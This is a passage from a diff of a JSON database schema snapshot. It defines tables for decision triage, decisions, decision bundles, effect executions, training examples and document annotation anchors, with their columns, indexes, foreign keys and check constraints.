+        "decision_triage_set_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_set_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "set_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "set_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_actor_check": {
+          "name": "decision_triage_actor_check",
+          "value": "(\n        (\"decision_triage\".\"set_by_type\" = 'agent' AND \"decision_triage\".\"set_by_agent_id\" IS NOT NULL AND \"decision_triage\".\"set_by_user_id\" IS NULL)\n        OR (\"decision_triage\".\"set_by_type\" = 'user' AND \"decision_triage\".\"set_by_agent_id\" IS NULL AND \"decision_triage\".\"set_by_user_id\" IS NOT NULL)\n      )"
+        },
+        "decision_triage_decide_by_check": {
+          "name": "decision_triage_decide_by_check",
+          "value": "(\n        (\"decision_triage\".\"decide_by\" IS NULL AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" IN ('today', 'this_week', 'whenever') AND \"decision_triage\".\"decide_by_date\" IS NULL)\n        OR (\"decision_triage\".\"decide_by\" = 'date' AND \"decision_triage\".\"decide_by_date\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage_events": {
+      "name": "decision_triage_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_run_id": {
+          "name": "actor_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_api_key_id": {
+          "name": "agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_events_company_source_created_idx": {
+          "name": "decision_triage_events_company_source_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_events_queue_created_idx": {
+          "name": "decision_triage_events_queue_created_idx",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_events_company_id_companies_id_fk": {
+          "name": "decision_triage_events_company_id_companies_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_queue_id_decision_queues_id_fk": {
+          "name": "decision_triage_events_queue_id_decision_queues_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_agent_id_agents_id_fk": {
+          "name": "decision_triage_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_actor_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_events_actor_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "actor_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_events_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage_events",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_events_actor_check": {
+          "name": "decision_triage_events_actor_check",
+          "value": "(\n        (\"decision_triage_events\".\"actor_type\" = 'agent' AND \"decision_triage_events\".\"actor_agent_id\" IS NOT NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'user' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NOT NULL)\n        OR (\"decision_triage_events\".\"actor_type\" = 'system' AND \"decision_triage_events\".\"actor_agent_id\" IS NULL AND \"decision_triage_events\".\"actor_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_training_examples": {
+      "name": "decision_training_examples",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "cutoff_at": {
+          "name": "cutoff_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "notes": {
+          "name": "notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "notes_history": {
+          "name": "notes_history",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "decision_outcome": {
+          "name": "decision_outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_policy": {
+          "name": "retention_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'scrub_deleted_comments_v1'"
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_training_examples_company_created_at_idx": {
+          "name": "decision_training_examples_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_issue_idx": {
+          "name": "decision_training_examples_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_training_examples_source_author_uq": {
+          "name": "decision_training_examples_source_author_uq",
+          "columns": [
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_training_examples_company_id_companies_id_fk": {
+          "name": "decision_training_examples_company_id_companies_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_training_examples_issue_id_issues_id_fk": {
+          "name": "decision_training_examples_issue_id_issues_id_fk",
+          "tableFrom": "decision_training_examples",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_bundles": {
+      "name": "decision_bundles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_bundles_company_created_at_idx": {
+          "name": "decision_bundles_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_bundles_company_id_companies_id_fk": {
+          "name": "decision_bundles_company_id_companies_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_agent_id_agents_id_fk": {
+          "name": "decision_bundles_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_issue_id_issues_id_fk": {
+          "name": "decision_bundles_origin_issue_id_issues_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_bundles_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_bundles_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_bundles",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_effect_executions": {
+      "name": "decision_effect_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_index": {
+          "name": "effect_index",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect_type": {
+          "name": "effect_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'claimed'"
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "activity_log_id": {
+          "name": "activity_log_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "executed_at": {
+          "name": "executed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "decision_effect_executions_decision_effect_uq": {
+          "name": "decision_effect_executions_decision_effect_uq",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "effect_index",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_effect_executions_target_issue_idx": {
+          "name": "decision_effect_executions_target_issue_idx",
+          "columns": [
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_effect_executions_decision_id_decisions_id_fk": {
+          "name": "decision_effect_executions_decision_id_decisions_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_target_issue_id_issues_id_fk": {
+          "name": "decision_effect_executions_target_issue_id_issues_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_effect_executions_activity_log_id_activity_log_id_fk": {
+          "name": "decision_effect_executions_activity_log_id_activity_log_id_fk",
+          "tableFrom": "decision_effect_executions",
+          "tableTo": "activity_log",
+          "columnsFrom": [
+            "activity_log_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_target_issues": {
+      "name": "decision_target_issues",
+      "schema": "",
+      "columns": {
+        "decision_id": {
+          "name": "decision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {
+        "decision_target_issues_decision_idx": {
+          "name": "decision_target_issues_decision_idx",
+          "columns": [
+            {
+              "expression": "decision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_target_issues_issue_idx": {
+          "name": "decision_target_issues_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_target_issues_decision_id_decisions_id_fk": {
+          "name": "decision_target_issues_decision_id_decisions_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "decisions",
+          "columnsFrom": [
+            "decision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_issue_id_issues_id_fk": {
+          "name": "decision_target_issues_issue_id_issues_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_target_issues_company_id_companies_id_fk": {
+          "name": "decision_target_issues_company_id_companies_id_fk",
+          "tableFrom": "decision_target_issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "decision_target_issues_decision_id_issue_id_pk": {
+          "name": "decision_target_issues_decision_id_issue_id_pk",
+          "columns": [
+            "decision_id",
+            "issue_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decisions": {
+      "name": "decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bundle_id": {
+          "name": "bundle_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rule_key": {
+          "name": "rule_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "options": {
+          "name": "options",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "inputs": {
+          "name": "inputs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "execution_status": {
+          "name": "execution_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chosen_option_id": {
+          "name": "chosen_option_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_values": {
+          "name": "input_values",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signed_spec": {
+          "name": "signed_spec",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_snapshots": {
+          "name": "target_snapshots",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decisions_company_status_expires_at_idx": {
+          "name": "decisions_company_status_expires_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_bundle_idx": {
+          "name": "decisions_bundle_idx",
+          "columns": [
+            {
+              "expression": "bundle_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_origin_issue_idx": {
+          "name": "decisions_origin_issue_idx",
+          "columns": [
+            {
+              "expression": "origin_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decisions_company_idempotency_uq": {
+          "name": "decisions_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"decisions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decisions_company_id_companies_id_fk": {
+          "name": "decisions_company_id_companies_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_bundle_id_decision_bundles_id_fk": {
+          "name": "decisions_bundle_id_decision_bundles_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "decision_bundles",
+          "columnsFrom": [
+            "bundle_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_agent_id_agents_id_fk": {
+          "name": "decisions_origin_agent_id_agents_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_issue_id_issues_id_fk": {
+          "name": "decisions_origin_issue_id_issues_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decisions_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "decisions_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_anchor_snapshots": {
+      "name": "document_annotation_anchor_snapshots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_revision_id": {
+          "name": "from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_revision_number": {
+          "name": "from_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_id": {
+          "name": "to_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_revision_number": {
+          "name": "to_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "previous_anchor": {
+          "name": "previous_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "next_anchor": {
+          "name": "next_anchor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_anchor_snapshots_company_thread_created_at_idx": {
+          "name": "document_annotation_anchor_snapshots_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_anchor_snapshots_company_document_revision_idx": {
+          "name": "document_annotation_anchor_snapshots_company_document_revision_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_anchor_snapshots_company_id_companies_id_fk": {
+          "name": "document_annotation_anchor_snapshots_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
